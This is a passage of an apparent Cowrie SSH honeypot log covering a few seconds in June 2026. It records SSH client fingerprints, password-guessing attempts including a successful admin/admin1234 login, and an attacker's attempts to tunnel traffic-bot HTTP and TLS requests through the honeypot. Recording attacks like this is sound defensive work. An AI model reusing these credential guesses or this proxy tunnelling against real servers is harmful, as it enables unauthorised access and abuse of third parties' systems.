x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:45:54.329793Z","src_ip":"123.27.168.40","session":"64cd4ba2b477","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:45:54.416801Z","src_ip":"182.93.50.90","session":"4205fa07176a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.6","message":"Connection lost after 10.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:45:54.736082Z","src_ip":"123.27.168.40","session":"64cd4ba2b477","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"mohammad123","message":"login attempt [root/mohammad123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:45:55.346527Z","src_ip":"182.93.50.90","session":"4205fa07176a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:45:56.564037Z","src_ip":"182.93.50.90","session":"4205fa07176a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"123.27.168.40","src_port":61499,"dst_ip":"10.17.0.5","dst_port":22,"session":"09a7e166b974","protocol":"ssh","message":"New connection: 123.27.168.40:61499 (10.17.0.5:22) [session: 09a7e166b974]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:45:57.680054Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:45:57.685076Z","src_ip":"123.27.168.40","session":"09a7e166b974","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:45:58.017903Z","src_ip":"123.27.168.40","session":"09a7e166b974","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"63.141.242.2","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:45:59.080735Z","session":"51f2ac520dd6","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"63.141.242.2","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:45:59.098566Z","session":"51f2ac520dd6","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:45:59.114337Z","src_ip":"63.141.242.2","session":"51f2ac520dd6","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_2_8; rv:77.0) Gecko/20100101 Firefox/77.0\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nContent-Length: 1194\\r\\nOrigin: http://api.9hits.com\\r\\nConnection: keep-alive\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=K1dIckRJfil9L3BCQjdkRQ%3D%3DmmGblJUP31JO4EaexA562Hb8x0axwfNorTkA%2BF3zQk1DeEEwiIMWynnjn2%2FSam3RRDigx%2Bzw7F3SeDjwElcyarv9zsmbCRXKkw%2FUW8OEVZiNlKth01N0e1QGjamQ0wg0NdovxROChrtbewHLtAB54Hcp2%2B63E9wKR6CLTIErc86X5rzD%2FxvMn%2F7O6J%2BrAIC%2BtS1EFUF200rg8Bqhqv1vQ6LOjp0Tl0BpC%2FBSG0WyVcputJ3VmKqLtIB6Xxx9Dz8PAWE5yohENnduqOdJBlero3rP67jovj0cIMgaMSl4pvQ%2F5rqelIC9ylOmn0590j5xODkUi2NUKhsN4DE%2BwUD6uieAn%2Br%2FU2akQpNo3DJkOKAS1lJbhIIBnMk45ZURFkobkF0MJYxMi292%2FUvxkHT2umkKy8f7TzwVzTVe7VgJPnGnjfxk1dczHdIFOzvvuK61pD6zPgTDiQRViafSsywviD55Z7YxNwR8%2B7K4ss0ZeuVVPc2%2FD%2BFcHmRgL%2FO2YhI1QRf3lo1y79GUSl4YJru71%2BaG9oEeHhFzIOGcVG6BT15qNmCXvABaqYGnvyFZgRchH9eOgqxXt38cewCsSrHvUo60UAuaX3s5alMS9BJpVxIin4hUV2jd6sTWXx19xdh4vW17Z%2FgBHwc%2B98FaZWpxPZQcjlbQU7XhXsZahhvXP5UsxtJ2Fahmfsbinv7o%2FmdMo12IjswDj79RfdOy4%2F10O7dGDfqzpJoTCLCeBdJ%2F2B%2FQhHQHLgiBqxHhlUpcwgQY7A1rv7dDpRnzbkWjHSn9heJ%2BC%2FEFJ0fUSRLbmutIhlgnRNeUF%2FVNAstBw%2B%2Bq5QEr80JxHLOl%2BhCESS0OrV2%2FDndh%2BOrgQmfv6WJmn%2FNJnl4Ab4UVTFLqJuGr6CvcCb9EJNaw8wldc87f4dJI3rOQfEER8Kha6dajiqa1n2%2FKoQs5GpHciMV1NKhQbM8rKbEFNsoD6h4VyeitF1GIKd1fAlLAfznewWfnjT4fo02qLeML2eM2ffLn1F8eNxmBXB25Pws2aaaOJDxy%2BKPKfcC5HffswMJAmajh4L9g0yi4cYCvIvSc7%2B1DZfneTS1Y6hzi'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_2_8; rv:77.0) Gecko/20100101 Firefox/77.0\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nContent-Length: 1194\\r\\nOrigin: http://api.9hits.com\\r\\nConnection: keep-alive\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=K1dIckRJfil9L3BCQjdkRQ%3D%3DmmGblJUP31JO4EaexA562Hb8x0axwfNorTkA%2BF3zQk1DeEEwiIMWynnjn2%2FSam3RRDigx%2Bzw7F3SeDjwElcyarv9zsmbCRXKkw%2FUW8OEVZiNlKth01N0e1QGjamQ0wg0NdovxROChrtbewHLtAB54Hcp2%2B63E9wKR6CLTIErc86X5rzD%2FxvMn%2F7O6J%2BrAIC%2BtS1EFUF200rg8Bqhqv1vQ6LOjp0Tl0BpC%2FBSG0WyVcputJ3VmKqLtIB6Xxx9Dz8PAWE5yohENnduqOdJBlero3rP67jovj0cIMgaMSl4pvQ%2F5rqelIC9ylOmn0590j5xODkUi2NUKhsN4DE%2BwUD6uieAn%2Br%2FU2akQpNo3DJkOKAS1lJbhIIBnMk45ZURFkobkF0MJYxMi292%2FUvxkHT2umkKy8f7TzwVzTVe7VgJPnGnjfxk1dczHdIFOzvvuK61pD6zPgTDiQRViafSsywviD55Z7YxNwR8%2B7K4ss0ZeuVVPc2%2FD%2BFcHmRgL%2FO2YhI1QRf3lo1y79GUSl4YJru71%2BaG9oEeHhFzIOGcVG6BT15qNmCXvABaqYGnvyFZgRchH9eOgqxXt38cewCsSrHvUo60UAuaX3s5alMS9BJpVxIin4hUV2jd6sTWXx19xdh4vW17Z%2FgBHwc%2B98FaZWpxPZQcjlbQU7XhXsZahhvXP5UsxtJ2Fahmfsbinv7o%2FmdMo12IjswDj79RfdOy4%2F10O7dGDfqzpJoTCLCeBdJ%2F2B%2FQhHQHLgiBqxHhlUpcwgQY7A1rv7dDpRnzbkWjHSn9heJ%2BC%2FEFJ0fUSRLbmutIhlgnRNeUF%2FVNAstBw%2B%2Bq5QEr80JxHLOl%2BhCESS0OrV2%2FDndh%2BOrgQmfv6WJmn%2FNJnl4Ab4UVTFLqJuGr6CvcCb9EJNaw8wldc87f4dJI3rOQfEER8Kha6dajiqa1n2%2FKoQs5GpHciMV1NKhQbM8rKbEFNsoD6h4VyeitF1GIKd1fAlLAfznewWfnjT4fo02qLeML2eM2ffLn1F8eNxmBXB25Pws2aaaOJDxy%2BKPKfcC5HffswMJAmajh4L9g0yi4cYCvIvSc7%2B1DZfneTS1Y6hzi'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:45:59.117812Z","src_ip":"63.141.242.2","session":"51f2ac520dd6","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:45:59.144210Z","src_ip":"63.141.242.2","session":"51f2ac520dd6","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x15V\\xb3\\x9cB\\x06H\\x1c\\x87c\\x10\\x95\\xfaB\\xe5\\x84p$+N\\xfb\\xbbH`\\xc9t\\xf2\\xd9\\t4\\x1e\\xd8 \\xf2\\x8a\\xc3\\x0fu\\xbd\\x867X\\x1f\\xee\\x1atI\\x11\\x84\\xf4\\xfdV\\xcc4\\xa6\\xa9\\x80\\x1b\\x86\\xe7V\\x93\\xa2@V\\x00 \\xaa\\xaa\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\x1a\\x1a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x1a\\x1a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x1a\\x1a\\x00\\x01\\x00\\x00\\x1d\\x00 Q#Ja\\xf7 /\\x84\\x83\\x12\\xc9\\x0b\\xa0|E(\\xb1\\xac=~\\xae\\xb8\\x82\\xfd3\\xed\"\\xddEi\\xcet\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n::\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x9a\\x9a\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x15V\\xb3\\x9cB\\x06H\\x1c\\x87c\\x10\\x95\\xfaB\\xe5\\x84p$+N\\xfb\\xbbH`\\xc9t\\xf2\\xd9\\t4\\x1e\\xd8 \\xf2\\x8a\\xc3\\x0fu\\xbd\\x867X\\x1f\\xee\\x1atI\\x11\\x84\\xf4\\xfdV\\xcc4\\xa6\\xa9\\x80\\x1b\\x86\\xe7V\\x93\\xa2@V\\x00 \\xaa\\xaa\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\x1a\\x1a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x1a\\x1a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x1a\\x1a\\x00\\x01\\x00\\x00\\x1d\\x00 Q#Ja\\xf7 /\\x84\\x83\\x12\\xc9\\x0b\\xa0|E(\\xb1\\xac=~\\xae\\xb8\\x82\\xfd3\\xed\"\\xddEi\\xcet\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n::\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x9a\\x9a\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:45:59.147268Z","src_ip":"63.141.242.2","session":"51f2ac520dd6","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"63.141.242.2","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:45:59.210900Z","session":"51f2ac520dd6","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:45:59.238544Z","src_ip":"123.27.168.40","session":"09a7e166b974","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:45:59.338851Z","src_ip":"63.141.242.2","session":"51f2ac520dd6","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xc7w\\xb5\\xf3O]?i\\xb0\\x89\\xd6E\\xd2\\x009\\'sJVL\\x86Bo>\\x95\\xa5\\xc7b\\x99u\\t\\x18 9\\x0f\\x0c[8\\xb7p7O\\xd2\\xc8\\xabIg\\xcej>V\\x81yc\\x9e\\xe5u\\x83P\\x1e\\xea\\xc2\\xa2\\x19~\\x00\"\\xea\\xea\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91ZZ\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x1a\\x1a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x1a\\x1a\\x00\\x01\\x00\\x00\\x1d\\x00 \\xda\\xadD\\x16\\xa4\\xf1\\xf2h\\xc8g?=\\x80\\x91\\x9b\\x19\\xab\\xfe\\x1b\\xa4\\x04\"\\xf2\\xe79?\\x9f\\xca}z#h\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xaa\\xaa\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xaa\\xaa\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xc7w\\xb5\\xf3O]?i\\xb0\\x89\\xd6E\\xd2\\x009\\'sJVL\\x86Bo>\\x95\\xa5\\xc7b\\x99u\\t\\x18 9\\x0f\\x0c[8\\xb7p7O\\xd2\\xc8\\xabIg\\xcej>V\\x81yc\\x9e\\xe5u\\x83P\\x1e\\xea\\xc2\\xa2\\x19~\\x00\"\\xea\\xea\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91ZZ\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x1a\\x1a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x1a\\x1a\\x00\\x01\\x00\\x00\\x1d\\x00 